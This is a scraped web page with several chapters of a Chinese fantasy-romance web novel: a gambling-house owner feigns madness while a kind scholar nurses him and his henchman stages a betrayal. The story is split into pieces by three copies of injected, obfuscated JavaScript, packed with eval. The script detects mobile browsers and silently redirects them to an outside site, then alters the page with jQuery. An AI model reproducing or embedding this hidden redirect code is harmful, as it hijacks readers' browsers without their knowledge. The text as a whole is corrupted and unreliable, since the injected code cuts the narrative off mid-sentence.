;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16813396|190824||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
再加上一些调味料放在一起煮出来的。当时第一次煮出这汤,他自己喝着觉得惊为天人,好喝爆了,起了个神仙汤的名字,兴冲冲的特别想找人分享。
但想来想去,最后也就只想到了佟月舟一个人。
平时自己总在他身上找乐子,请他喝个汤,就算是补偿他一下吧。
霍不归当时是这样想的,结果佟月舟根本不领情,他说什么都跟没听见一样,头也不回地就走了。
再后来渐渐地,他自己也把这汤忘了,毕竟白蘑菇不是哪哪都有,抓青蛙也不是那么好抓,霍不归也不挑嘴,吃吃老神棍煮的萝卜白菜就饼子,能吃饱就得。
没想到自己都忘了,佟月舟倒还记得。
霍不归下意识扬起点嘴角,一回神,却见佟月舟看自己的眼神里明显带着点惊讶。
不好……这是表情太正常了?
霍不归脸色微不可见地僵了僵,随后反应很快地顺势把嘴角咧大了,呆看着佟月舟嘿嘿傻笑起来。
“噗,你笑什么?”
佟月舟见霍不归笑,也忍不住深了笑意。
“刚才看你的样子,还以为你醒过来了点。”
霍不归不答,就只是一味傻笑,企图把刚才那一点表演失误赶紧抹和过去。而佟月舟看着他的样子,也笑着摇了摇头。
这笑看起来还是神智不太清醒的样子,不过好歹,也能说明他现在的心情还不错,比刚开始那什么都怕的样子要好多了。
佟月舟抿着嘴唇,微微翘着嘴角,看霍不归笑得傻呵呵的,不知怎么,竟还看出了几分可爱来。而霍不归也发现他的傻笑就是个开关,他一笑,佟月舟就笑,他笑得有多傻,佟月舟就笑得有多好看。
嘿,好玩。
霍不归玩着自己的新发现,那一脑门子烦得蛋疼的糟心事竟然好像也没那么招人上火了。两人就这么莫名其妙又气氛愉快地把一碗药喂得见底,佟月舟夸了他一句乖,站起来要端走空碗时,还像哄小孩子一样在霍不归头上摸了摸。
“明天我去百岁坊看一看。”
佟月舟说着,看到霍不归嘴上沾着药渍,又放下碗,拿出一方棉布手帕,在他嘴上擦了擦。
“我猜你是在通宝楼做工的吧?到时候我去旁边的店铺问问,没准能找到你的家人。”
说完,佟月舟就端着碗走去厨房了。霍不归目送着佟月舟离开,又摸摸被他擦过的嘴唇,淡淡收起了脸上的傻笑。
去就去吧。他想。
安排给陈江海的事办不了那么快,明天估计通宝楼还是解不了封的。
他当然不能让佟月舟给他送回去,所以如果佟月舟白跑一趟谁也没找到,那自然是最好的。万一真让佟月舟找到陈江海了,但愿这小子给我机灵点,别稀里糊涂的,泄出了老子的底。
8. 面子是什么
与每每路过时的感觉一般无异,百岁坊这地方,确实让佟月舟很是不适。
他也并不是歧视这里的混乱堕落。佟月舟虽然书读得挺多,但却没有什么士大夫式的清高迂腐——一颗过于单纯的脑袋,就只顾着往里塞之乎者也,并没留地方让那些之乎者也发酵出歧视或是别的什么来。脑袋就这么大,里边挤挤满满的,以至于遇到点复杂的事,思路想转个弯都有点难。
所以他对百岁坊的不适,更多只是一种面对陌生秩序的本能警惕,和无所适从。
他是在学堂放课后才来的,时候临近傍晚,正是安静了一个白天的百岁坊将醒未醒之时。街边挂着一串串红灯笼,有些还灭着,有些已经点起来了,似明非明地亮在暗淡的天光里。街巷中人不多,有伙计,也有闲客,但几乎每个人看到那个文气清俊的年轻男子,都会特意多打量几眼。那些视线或粗鲁,或轻慢,或嘲弄,每道视线都是直直白白的半点不加掩饰,肆意挑动着男子那本就紧绷的神经。
佟月舟一手紧抓着长衫快步走着,表情有点紧张,动作有点僵硬,就像是误入烟花深处的一棵小小青竹,举手投足间都写满了格格不入。一旁小院门户刚开,浓妆艳抹的女人靠上木门框边,手里盛着点瓜子磕着,也闲闲扫了眼路过的佟月舟,但并没有要搭理他的意思。
常年混迹在百岁坊,眼光都是毒的,这书生浑身上下都透着一股子墨水味,扫上一眼,就知道不是客人。
佟月舟走过门口,不经意间对上了女人的视线。他惊了一惊,连忙对女人作了个揖,继续匆匆前行。而没走两步,他却是停了下来,脚步踟蹰了片刻,又转身向那女人走去。
“请问这位大姐,通宝楼……怎么走?”
佟月舟又对女子作了个揖,微低着头,不好意思抬眼。
“通宝楼?喏,那不就是了。”
女子不算年少了,显然是在风尘里磋磨多年,没剩下多少鲜灵心性,对待佟月舟的态度也是一种带着玩味的冷淡。她下巴扬了下,算是为佟月舟指了方向,随后瓜子皮一啐,便懒得再理他,转头又去寻觅街上其他行人里,有没有今晚能照顾自己生意的客人。
那就是……?
佟月舟顺着女子指的方向看去,只见不远处确有一处白墙木窗、大门紧闭的二层楼,而那门上墙上,也果然是贴着不少黄纸符咒,一看就是出了事的样子。只不过那楼建得并不是很招摇,佟月舟本来听说通宝楼是百岁坊最大的一家赌场,但从外表看起来,好像是没有他想象的那么气派。
那就是霍不归做工的地方?
不过那里门关着,符也还贴着,里面八成是不会有人在了。
佟月舟迟疑了下,还是先询问了面前的女子。
“那再请问您一下,您知道那个通宝楼里,有个叫霍不归的人吗?”
“霍不归?谁还能不知道他。”
女子哼笑一声,语气懒散。
“他不就是那通宝楼的老板么。”
霍不归是通宝楼的老板?那赌场是霍不归开的??
佟月舟有点惊讶。他本以为霍不归只是在做赌场打手之类的工作,顶多是个管事的大伙计,谁知道这传闻中的百岁坊第一赌场,竟然就是他的产业。
“不过你别问我他在哪儿,我也不知道。”
女子又道。
“自从通宝楼出了事,他就没再出现过了,我们这里也没人知道他去哪儿了。”
这问题,倒是佟月舟最不会问的问题了。他想了想,又朝女子稍欠了下身。
“那再请问大姐,您可知道他家在哪里,可有家室,或者还有什么亲人在么?”
“呵,问得真多。”
女子瞟了他一眼,显然是有点不耐烦了,目光落向别处,又捻了颗瓜子磕着,话音有点含混。
“不知道。问别人去吧。”
问别人……
佟月舟愣了愣。女子不想回答他,佟月舟也不好勉强,只得抬起头,又向四周看了看。
对面的店门口站着一个五大三粗的大汉,看起来表情有点凶恶。再旁边一家店也是间风月铺子,那边门前的女子看到佟月舟,立刻就妩媚了起来,娇娇笑着,还对他扬了扬手里的粉绸帕子。
佟月舟又是一惊,不自觉地就向后退了两步,两边肩膀中风一样绷得紧紧的。旁边女子见他这不开窍的傻样子,不由得一笑,啐掉嘴里的瓜子皮,又开了口。
“行了,我告诉你吧。就当我行善积德,给今晚攒攒运气。”
女子说着,一撩手指,指了下那边的通宝楼。
“霍不归平日,就住在那通宝楼里边。这人没老婆,没孩子,也没见有什么家人,日日跟他在一起的就是那几个手下。他下边有个管事头头名叫陈江海,出事之后,我倒是见他来过这边两回。”
“你要是找不着霍不归,不妨去通宝楼那等等这个陈江海。这人跟着霍不归的日子久,关系也近,若是运气好等到了他,或许他能告诉你霍不归在哪儿。”
***
虽然佟月舟不是要找霍不归,但想问的事倒是也问到了。佟月舟对女子道了谢,又问清了陈江海的相貌,就去通宝楼前耐心等人,但一直等到天黑了,百岁坊也热闹起来了,也没见有疑似陈江海的人出现。他只得先回了家,打算着之后几天,都到这里来等等试试。
“没想到,通宝楼就是你开的。”
百岁坊很远,回到家后已经挺晚的了。霍不归还在等佟月舟喂药,佟月舟净了手,一边端了药喂他,一边跟他说着今天去百岁坊的事。
除了一开始那几句“别过来”、“别杀我”,霍不归就没再开口说过话。可说他不能交流吧,自己说话的时候,他又好像是在听,听着听着,有时还会憨笑。也不知道他听没听懂,或者是听懂了多少,但佟月舟觉得,自己还是要和他多聊天的,聊些他知道的人,知道的事,兴许哪句话,就能让他想起什么,清醒过来一点。
“有个大姐对我说,你的手下陈江海有时会去通宝楼,所以我打算这几天都去通宝楼等等他,等到了,就让他接你回家。”
“哦……不过那个大姐还说,你就住在通宝楼。你没有别的住处么?通宝楼现在封着,他接走你,你们也进不去。”
“不过我还是得去等他,告诉他你在我这儿。他现在八成正在四处找你,没有你的音讯,他肯定担心坏了。”
霍不归脸上保持憨笑,心想百岁坊
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16813397|190824||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到底哪位大姐话这么多,然后就着佟月舟的手又喝了一勺药。
霍不归觉得自己最近喝药喝得有点上瘾。佟月舟每次都给他药里放很多糖,虽然算不上好喝,但喝在嘴里总归是甜丝丝的。更重要的是还有佟月舟这么一勺一勺喂着,轻声慢语哄着,一口没喝好,药流在嘴边了,他还很细心地给擦……
以前怎么没发现被人伺候这事有这么舒服呢?
霍不归心里美滋美滋的,同时又觉得有点遗憾。
可惜他计划没搞周全,不小心的已经表演过自己吃饭了。不然连药带饭,高低都得让佟月舟给喂了。
“嗯?”
霍不归正想着,就听佟月舟嗯了一声,不知是发现了什么。
不过很快他就知道了。
因为佟月舟摸了摸他的下巴,说他胡子长出来了。
“一会儿洗个澡吧,再给你刮刮胡子。”
佟月舟放下给他擦嘴的手帕,盯着他的脸,左右看了看。
“兴许这两天,我就能让你的手下来接你了。生病了也得干干净净的,别让人笑话你邋遢。”
唔……
……
……嗯?
霍不归装着傻充着愣,半天才突然反应过来点什么。
洗澡……
那不就是得再光一次屁股??
澡确实是不能不洗的,总蓬头垢面的他自己也难受,但他现在的角色可是生活不能自理的傻子,自己吃饭就算了,再傻也得有个进食的本能,可洗澡这事,他总不能再麻利顺溜地自己洗了吧?
他的人设不允许啊!
可他不自己洗,那就得佟月舟给他洗,但要再在佟月舟面前来一次浑身扒光裤衩也不剩……
他霍不归的面子,这就是要碎成渣了啊。
霍不归呆看着佟月舟,憨傻的表情中蕴含着极为复杂的情绪。然而佟月舟就只接收到了憨傻,以为霍不归只是没听懂自己在说什么,浅浅一笑,拍拍他的肩膀。
“你等一下,我让沈伯去准备热水。给你好好打理一下,好清清爽爽地回家。”
霍不归不介意不清爽,也根本不想回家,但无奈傻子人设定死在这儿了,当下他也只能任由佟月舟随意摆弄。热水很快就好了,佟月舟要带他去澡房,见他磨磨叽叽地坐着不动,便拉起他的手,领着他向澡房走去。
算了。
被佟月舟温乎乎的手拉着,霍不归倒也挺快就想开了。
毕竟想不开也没别的招,眼见着还不知道要在这儿装多久傻子,这屁股,早晚总归是得光。
反正又不是第一次光。
一回生,二回熟,面子是什么,不知道,不要了。
霍不归认命地跟着佟月舟走到澡房,站定在热气腾腾的大木桶旁边。
不过……就算是可以清爽,家也肯定是不能回去。佟月舟找到陈江海,估计也就是这两天的事了,务必得让陈江海把理由给我说圆乎了。
……
……不行,让那秤砣脑子自由发挥,还是有点不太放心。
明天还是把陈江海叫来一趟吧。
霍不归想。
自己得手把手的,好好把词给他串明白了。
9. 玉兰予君
“爷!!”
听完霍不归的串词,陈江海扑通一声就跪下了,唯恐自家这喜怒无常的老大说这些,是藏了什么特别的用意来试探自己。
今天趁佟月舟和沈伯出门,霍不归符纸一烧,就把陈江海叫来了,而其他小弟吸取了上次的教训,倒是谁也没敢跟着来。如今霍不归仍是坐在屋后那堆杂物上,见陈江海这下跪叫爷叫得没一点出息,眉头一压,一脚就踹在了他肩膀上。
“爷个屁爷!当我是你恩客啊!”
“说就照这么说,你要真敢这么干,我劈了你家祖坟。”
霍不归今天心情显然也没有太好,有一部分原因,是昨天那屁股光得让他非常不爽。
本来他都想通了,面子也都不要了,想着虽然这事很操蛋,但至少能让佟月舟舒舒服服哄着伺候着,也算是找补了点好处。
可谁成想一进澡房,佟月舟说要去整理他的什么破书,居然丢下自己就走了!结果从脱衣服到洗澡再到刮胡子,就都是让那老哑巴给弄的!一张老脸怼在面前,一双糙手给自己折腾来折腾去的,不仅折了面子,连半点身心愉悦都没有体验到!
这事还能再操蛋点吗!
一肚子闷气憋了一晚没地方发泄,正好现在来了个陈江海。一脚踹完,几句骂完,霍不归感觉心情总算是舒畅了一些。
陈江海被霍不归踹得坐在地上,也不敢恼,赶紧爬起身来,打眼瞄了下老大的表情。
倒也不怪陈江海多心,毕竟霍不归安排给他的串词的确有点瘆人——
爱疯疯,爱傻傻,别找我管,我管不着。
没了霍不归,这通宝楼的大当家就是我了。
这话说得让陈江海心里七上八下突突直跳,只怕霍不归是怀疑他真有这个念头。不过冷静一点再瞧霍不归的反应,陈江海又感觉他可能确实也不是想试探什么。
毕竟自己要是真干了这事,以老大那神乎其神大仙级别的道行,他能有一万种方法让自己生不如死悔不当初。
跟着老大吃香喝辣,逆着老大挫骨扬灰,傻子才会反他。
“那……那要是佟月舟找来,我就这么说?”
陈江海小心翼翼地问。
“嗯。”
霍不归嗯了一声,语气稍好了点,但也没好太多。
“中心思想就是这样,细节你自己发挥。注意着别给我穿了帮。”
“明白了老大。”
陈江海放了心,结实应了下来。
“那事,你查得怎么样了?”
得了陈江海的应话,霍不归又问起自己的飞来横祸。
“呃……没什么进展……”
问到这个,陈江海底气又弱下来点。
“我又找人筛了一遍,这几天的横死事件,确实就是那几件,没别的了。上吊的和溺死的已经入土为安了,傅家庄的事我们也去查问了一圈。都说是有人寻仇,但具体是谁、寻的什么仇,也是没人说得清。”
“傅家在那一带是有名的富户,如今被人一把烧干净了,坊间都是流言蜚语,影响相当大。我跟镇上的官差通着气,听他们说上边给了压力,说这案子必须得尽快查个水落石出,不容半点拖延。那些官差们也是火烧屁股地在查,但查来查去,也没比我们多查出多少来,总之就还是没个头绪。”
“废物。”
霍不归骂了一句,也不知道是骂陈江海,还是骂官差,一张脸黑得跟锅底一样。
陈江海这几次来,就没见霍不归给过他什么好脸。不过这他倒也能理解。老大不是一般人,且不说白手起家建起这么大个赌场,一路上过了多少关斩了多少将,就说那倒阳寿买卖,如果不是他机缘巧合跟了老大,那他这辈子都想不到这世上还有这么玄乎的生意,还有像老大这么神的人。
无论是欠了债还不上的赌徒,还是寿数将尽濒死者的家属,无论是想要钱,还是想要命,无一不得毕恭毕敬地拜在老大面前。赌场二层那间奉着香火的内室里,老大通常就坐在正中那张宽大的金丝楠太师椅上,一手捻着铜钱,有一句没一句,不慌不忙地跟他们提着条件、谈着酬金。而提什么条件,对方都只能答应,定多少酬金,最终也必须点头。
毕竟能做阳寿买卖的,除了此处,别无他所,能让老大允他们进了那间内室,谈上这桩生意,那都算是他们的幸运。
待到条件谈妥,便是定契。或是当场,又或是移步濒死者的居室,也不用什么花里胡哨的繁琐仪式,老大将那根有胎记的手指一伸,在定契人身上一划,买卖契约竟然自动就写在了那活人皮肉上,等到片刻后消隐下去,那就真像是渗进了定契人的身体里一样。
一开始陈江海没见识过这事儿,还紧着问了他家老大好几遍,需要准备点什么,注意点什么,霍不归都摆摆手说不用。陈江海有点将信将疑,然而真看到老大就这么面色淡定地随手写出了能嵌在身体里的契约,看到那字样隐入血肉时那微微泛起的光亮,陈江海当时膝盖一松,差点条件反射地就给老大跪下了。
那真是跟见了得道真仙是一样的心情。
但如今,得道真仙一样的老大不知道被什么玩意儿给逼得,竟然就只能窝在这么一方窄窄的小道里,姿势别扭地坐在一张破油布盖着的杂物堆上,那心情能好么,脸能不黑么,脾气能不大么。
所以他理解,非常理解。
陈江海偷瞄着霍不归的神情,只等着老大再骂几句发泄发泄,然后交代点什么干货再让他去办。
不过霍不归骂了一句之后,倒也没再多说什么了。他没法苛求陈江海,官府都不能快速搞清楚的事,陈江海他们更是能力有限。更何况就算是马上把这事查了个水落石出又怎样,他甚至都还不能确定,这水落石出里就一定有他想要的答案。
“回去继续查吧。”
估摸着沈伯买菜快回来了,霍不归闷声说了几句,朝陈江海挥挥手,示意他可以走了。
“事继续查,通宝楼也尽快给我再开起来。”
“等到时候我回去了,我的店以前什么样,就还得是什么样,但凡客人少上一个,老子饶不了你。”
***
“这店以前什么样,以后就还是什么样。”
通宝楼里,陈江海一脚踩上一张乌木凳子,对面前的眼镜书生说道。
“没了他霍不归,太阳照样能从东边升起来。”
陈江海说这话时,表情端得轻蔑又不屑,半点没有在霍不归面前的那副谨小慎微的怂样。一帮小弟都站在他身后,要么凶神恶煞,要么面露嘲讽,这场面演得倒还真挺有老二上位称大王的气势。
“你既然捡了他,那就继续收着他吧,你要不想管他了,就给他扔街上,让他要饭,要么扔到城外,让他自生自灭。”
陈江海半笑不笑地说道。
“总之是别指望我管他,他又不是我祖宗,我还非得给他养老送终不成?”
通宝楼这演技估计是祖传的,家里边霍不归演傻子演得神韵天成,这边陈江海的白眼狼也可谓是声色俱佳,一主一仆合起来给佟月舟唬得死死的,唬得佟月舟根本就没怀疑过一点这件事的真假。
他只是觉得气愤。
这天他来到百岁坊的时候,正赶上长乐街这边敲锣打鼓的好不热闹,他挤在街边人群中,看向那扛着城隍爷像的队伍,结果在那队伍前方,竟发现了一个样貌很符合“陈江海”的男人——个高,壮实,寸头,黑皮肤,左边眉毛缺了一块,缺口处斜着一道疤。
他忙问旁边的围观群众,确定那人真的就是陈江海。他心中大喜,赶紧挤出人群,快步跑到陈江海旁边,一边紧跟着请神的队伍一道走着,一边扯起嗓子,在吵闹的锣鼓声中对陈江海喊,请问你可是陈江海,霍不归在我那里,但他现在病了,你可以来接他。
然而陈江海却一直是爱答不理的样子,好像听见了,又好像没听见,浩浩荡荡的队伍也根本没有因为佟月舟这不速之客而停下的意思。佟月舟不明所以,只得一路跟在队伍旁,直到这队伍在长乐街上绕了一大圈,最终将城隍爷像请进了通宝楼里。
结果城隍爷一进门,锣鼓队一散,陈江海立刻就跟他摊牌摊了个明白——
霍不归是生是死他才不会管,霍不归废了,以后这通宝楼就归他了!
……这世上怎会有如此厚颜无耻之人!
佟月舟义愤填膺,越想越气,眉头紧皱着,一张脸涨得通红。
“你怎么能这样!霍不归、霍不归不是你们的老板吗?他以前不是都带着你们一起赚钱的吗?难道他以前对你们不好吗?”
“如今他落难了,你们怎么能不管他,你们甚至还拿了他的产业,你们这样做,对得起他吗!”
佟月舟的质问连珠炮一样,听得陈江海悄悄咽了下口水。
说实话,霍不归这个老大虽然是有点喜怒无常,但对他们还真是挺好的。以前没发家的时候,只要他自己有口吃的,就不会少了他们的,后来发了家了,对他们更是哗哗撒钱,毫不吝啬。外边惹了事,老大百分之百护短,自己想办事,老大也是有求必应,那么牛的一个道法大佬,还曾屈尊前去外地给陈江海家过世的老太太做法事,齐齐整整搞了一大通,最后连钱也没收。
说他不好,真昧良心,即便是演戏,陈江海也怕天打雷劈。
“这不是好不好的问题。”
坏话说不出口,陈江海只能换个话术。
“不管他以前好不好,他现在都已经是废人了,这么大摊生意,总是要有人管的吧?他没家没室没兄弟,孤家寡人一个,这通宝楼我不兜着,谁来兜着?”
“至于接他回来么……他既然都那样了,以他霍不归的心性,八成也不会想被接回百岁坊丢人现眼。况
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16813398|190824||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
且我们兄弟忙着打理通宝楼,这边也没人有空照顾他。”
“所以这事,就麻烦佟先生你看着办吧,你想要钱,我可以给你,你要是也不想管,那送到哪儿去,我们也没意见。总之这人就归你了,要怎么处理,不用再问我,今后怎么着,那都是他的命。”
***
佟月舟今天有点不高兴。
霍不归瞄着佟月舟的神情,把嘴里的药咽了下去。
他喂药喂得不太专心,不知在想什么,有时半天才舀起来一勺。而且他也不像平时一样跟自己说说笑笑的,眼皮半垂着,眼睛里没什么光,没什么神,一看就是有事闷在心里头。
谁欺负他了?
霍不归悄悄观察着佟月舟,又在佟月舟看向他时赶紧见缝插针表演了一个傻笑。佟月舟嘴角也翘了翘,算是回应了他一下,但这回应显然是比较勉强。
哦……对了,他今天又去百岁坊找陈江海他们了吧?
霍不归突然想起这茬来。
那这是找见了?
这兔崽子,跟佟月舟说了什么浑话,给人家说成这样。
霍不归在心里没根没据地骂着陈江海,猜他肯定是随便瞎发挥,把戏演呲了,严重背离了自己交代的中心思想,不然没法解释佟月舟为什么一回来就生闷气。
还是踹他踹轻了!
霍不归有点怒。但无奈,就这么用意念骂人,既不能再踹一脚陈江海,也不能安慰到佟月舟。
其实他也没必要非得安慰佟月舟,安慰别人,不在傻子的责任范围内。
不过不知为什么,他就是挺不想看见佟月舟这样闷闷的。他觉得可能是因为佟月舟不对他笑,也不跟他说话,本来喂药这么让人上头上瘾的事,体验感一下就变差了。
所以霍不归琢磨着,他得让佟月舟笑一笑。
自从他疯傻之后,佟月舟就一直哄着他,这回就换他哄哄佟月舟好了,礼尚往来嘛。
不过怎么哄,霍不归还真没什么经验,毕竟横行百岁坊的大佬霍不归,从来都不需要哄着谁。他想了会儿,忽然微不可察地笑了下,然后不着痕迹地把右手挪到桌子下边,心念一动,黄泉印一深,就着虚空悄悄写了个符。
佟月舟心情确实不是很好,而且面对心智不全的霍不归,他也没有特意去掩饰什么。
他本以为找到了陈江海,总算是给霍不归找到了家,自己做的这桩善事也算是有始有终了。可谁知陈江海却一心只想着霸占霍不归的产业,不念任何旧情,不讲任何道义,更是完全不关心霍不归的死活。
人心怎么能坏到这个地步。
佟月舟心里很气闷,但除了气,更多的还是感慨和难过。
之前那次在百岁坊门口看到霍不归,他的模样是何等风光。一身光鲜,前呼后拥,虽然自己是没印象了,但跟着他的那些人里,说不准就有陈江海在。
结果现在他出了事,得了病,突然一下,就什么都没了。昔日的属下全都不仁不义,辛苦经营的产业也只能易主他人,没有家,也没家人,二十多年到头来,就活得只剩下个混沌沌,又空落落的自己。
心酸至此。
佟月舟暗自想着,出了片刻的神,方才发觉自己捏着个空勺子,好像半天也没给霍不归喂药了。他连忙回神,舀起一勺药汤,正要往霍不归嘴边送,却发现霍不归痴痴望着门边的方向,注意力也没放在喝药上。
“怎么了?”
佟月舟顺着霍不归的视线望去,只见门槛外的石阶上,竟是突兀地落着一枝满开的玉兰花。
“哎??”
佟月舟顿时心生讶异。且不说现在是不是玉兰开花的季节,即便正是当季,他家这里也并没有种着玉兰树啊?
这玉兰,哪儿来的??
佟月舟正惊讶着,就见霍不归直直向那枝玉兰走过去,蹲下身傻乎乎地研究了一会儿,随后捡起玉兰枝,转回身来,一伸手便将花递给了佟月舟。
“给你。”
霍不归开口说着,适时展起了一个痴傻无比的笑。
“给我……”
佟月舟愣了愣,又突然意识到什么,腾地一下站起身,惊讶立刻变成了惊喜。
“哎??你说话了?霍不归?你是不是说话了??”
“给你。”
霍不归又重复了一句,直接将花枝塞进佟月舟手里。佟月舟拿着花枝,脸上一下子就笑开了,一双黑亮的眼明澈澈望着霍不归,接连问着你好点了吗,你认识我吗,问完又去看那喂了一半的药,说这药真有效果了,明日要叫大夫再来看看,把药再多开上几副。
玉兰枝在佟月舟手里微微摇晃着,不经意间,一枚花瓣落在了桌脚旁的青石砖上。佟月舟心情兴奋着,没留意到落花,同时也没能留意到霍不归在他的视线之外,眼神中不易察觉地,漫上了一丝淡淡的温柔。
10. 先生的道理
……他怎么又来了。
陈江海站在通宝楼的二层回廊上,满心无奈。
霍不归的招果然有效,城隍爷一请,法事一做,再跟治安所好的坏的那么一说,治安所果然就给通宝楼解封了。如今陈江海和一众小弟们正忙着在店里收拾打扫,热火朝天的,准备再次开门营业。
陈江海原本觉得自己那天戏演得不错,老大安排的中心思想应该是传达到位了,那个佟月舟也应该可以死心了。可谁知昨天自己不在店里时,那书呆子就来找过自己一回,如今他又出现在店门口,打眼往大堂里张望着,八成就还是在找自己。
陈江海不是个圆滑人,也实在没什么戏瘾,演上一次,很是要费上一番心力。可无奈观众一次一次的非得要来,他也只能勉强扮上角色,横起眉斜着眼,再当一回忘恩负义的二当家。
佟月舟找了一会儿,就发现了人在二层的陈江海。他眼睛一亮,立刻跨进店里,半点不客气地噔噔噔走上楼梯,绕着挑空的回廊,径直去到了陈江海面前。
“我那天已经说得很清楚了吧,佟先生。”
眼见着佟月舟步步走近,没等对方开口,陈江海就先抢了开场白的戏份,暗搓搓地想让这返场戏少演一会儿。
“我是不会把霍不归接回来的,你说什么也没用。我也知道他遭了难,很可怜,那就麻烦先生你好好照顾他,让他傻得也舒坦一点。难不成你还非要给他送回来,让他眼瞧着我取代他当老大不成?”
“你也知道有他看着,你良心不安是不是。”
佟月舟站定在陈江海面前,听他说完,沉着脸色,冷冷回讽道。
“嗨,随佟先生你怎么说,总之我是不会让他再回到这儿来了。”
说着,陈江海向身后做了个手势,很快,就有小弟送上来一叠银票。
“这钱,就算是我给他的养病钱。这钱可不少,我对他,也算是仁至义尽了。”
陈江海把银票按在乌木桌面上,推到佟月舟面前。
“这通宝楼如今姓陈了,和他霍不归已经没关系了,他今后的死活去向,我们也并不需要知道。我看先生你仁善,所以最后再跟你清楚说一次,等明天之后,通宝楼开了业,我可就没那闲工夫再接待佟先生了。”
其实陈江海倒是真的想给佟月舟点钱,佟月舟生活好了,不就等于老大生活好了么。但这叠银票对于佟月舟来说却是侮辱一般,既辱了他的来意,也辱了霍不归的尊严。佟月舟盯着陈江海,表情紧绷,眼神愤愤,就像一根又直又犟的竹竿,攻击力不高,但非常碍眼。陈江海还在找着废话有一句没一句地说,佟月舟盯了一会儿,突然便抓起桌上的银票,一把向陈江海撒了过去。
“这钱本来就是霍不归的,他不需要你来施舍!”
银票飘洒洒散落了一地,佟月舟眼里透着点的红,气得声音都有些发颤。
“我来是要告诉你,霍不归的病会好的,用了一阵子药,他已经见好了,或许过一段时间,他就能痊愈了!”
“等他好了,发现你们背叛他,他一定不会轻饶了你们的!”
……见好了?
陈江海顿时就有点愣。
不是,老大这演技还这么有层次呢?
陈江海没想到剧情在这块还能有展开,一时间没能接上话。而佟月舟则早就准备好了一席说词,不等他反应什么,便是哐哐哐一大通的义正辞严。
“总之,无论霍不归以往对你们恩情几何,你们一起将这间通宝楼经营起来,总归该是有同舟共济的情义在。君子喻于义,小人喻于利,你们弃他于危难,又强占他的产业,此乃小人行径,绝非君子所为!”
“倘若你们心中还有半分道义在,倘若他日霍不归痊愈归来,你们还想能在他面前,在这百岁坊里挺起胸膛堂堂正正地做人,那此时悔过,还不算迟。”
“他人就在城东我家中,你们若是醒悟,随时可以来我这里接他,可若等到他病好了,清醒了,你们的恶行也明明白白被他看在眼里了,到那时候,你们悔之晚矣!”
说完,佟月舟也没等陈江海回答,便一拂衣袖,头也不回,转身就向楼下走去。这一番话铿锵有力,掷地有声,正义得让陈江海都有点发懵,直到佟月舟都走下楼了,他才突然回过了神来。
不行啊!
陈江海心里迅速思考着。
让佟月舟还期待他们能醒悟,那这事不就还没完吗!
不行,老大交代的事,那得办干净点!
于是他也没管散了一地的银票,赶紧编了几句词,赶在佟月舟走出大门口前叫住了他。
“我劝佟先生,还是不要妄想了。”
陈江海哼笑一声,演着小人得志的嘴脸,在霍不归的串词之外小小发挥了一记。
“实话告诉你,霍不归的病,是邪症,不是药能治得了的。”
“人废了就是废了,佟先生再做什么,也都是白费力气。不知道他那见好是怎么个好法,不过我话就撂这儿了,这辈子,他是没希望再来让我们后悔了。”
***
“老大,您看我说得行不行?”
佟月舟家屋后,陈江海试探着问霍不归道。霍不归睨了陈江海一眼,没说行,也没说不行。
其实内心里,他觉得陈江海说的还是行的,他给的中心思想确实说到位了,自由发挥的部分还起到了一个画龙点睛的作用,总体来说,这事办得算是不错。
但现在问题是,佟月舟他心情不好,而且连着几天心情都很不好,显而易见的就是有事闷在心里不痛快。本来霍不归以为是陈江海说了什么冒犯的话,做了什么冒犯的事,现在看来好像也没有。
那他是怎么了?
“你说完了之后,他什么反应?”
霍不归想不通佟月舟,只能问陈江海。
“他……反应有点大,挺生气的。”
陈江海撇撇嘴,一五一十地跟霍不归描述。
“我说我不管你,他说我对不起你,我说通宝楼是我的了,他说我良知喂狗了。昨天他来说您的病见好了,说到时候您好了,您肯定不会饶了我。然后我给了他点钱,他一下就把钱扔我脸上了,说不要我的施舍。”
“这么生气?”
霍不归听着陈江海的描述,眉毛一挑,佟月舟气鼓鼓的样子不由自主就在脑子里蹦出来了。
只不过是少年版的。
长大后的佟月舟生气是什么样,他倒还真没见过,但小时候佟月舟是怎么生气的,那他可是见得三千六百度无死角了。
过去的样子叠着现在的人在脑子里来回晃,霍不归忍不住地就嘴角就扬起来了。
“然后呢?”他问。
“然后他还拽了好多话,什么君子小人的,文绉绉的,我没听太懂,反正就是说我是小人,没义气不做人。”
陈江海一边回忆一边给霍不归转述着,十分老实地骂着自己。
“后来他说,我要是醒悟了,随时都可以来这边接您回去,别等您病好了来找我,那我的恶行就无法挽回了。我想着得把这事结了,不能让他觉得他还能把您送回来啊,所以我就编了那个话,说您是邪症,治不了,也不可能再来找我,让他死了这条心。”
“行,辛苦了。”
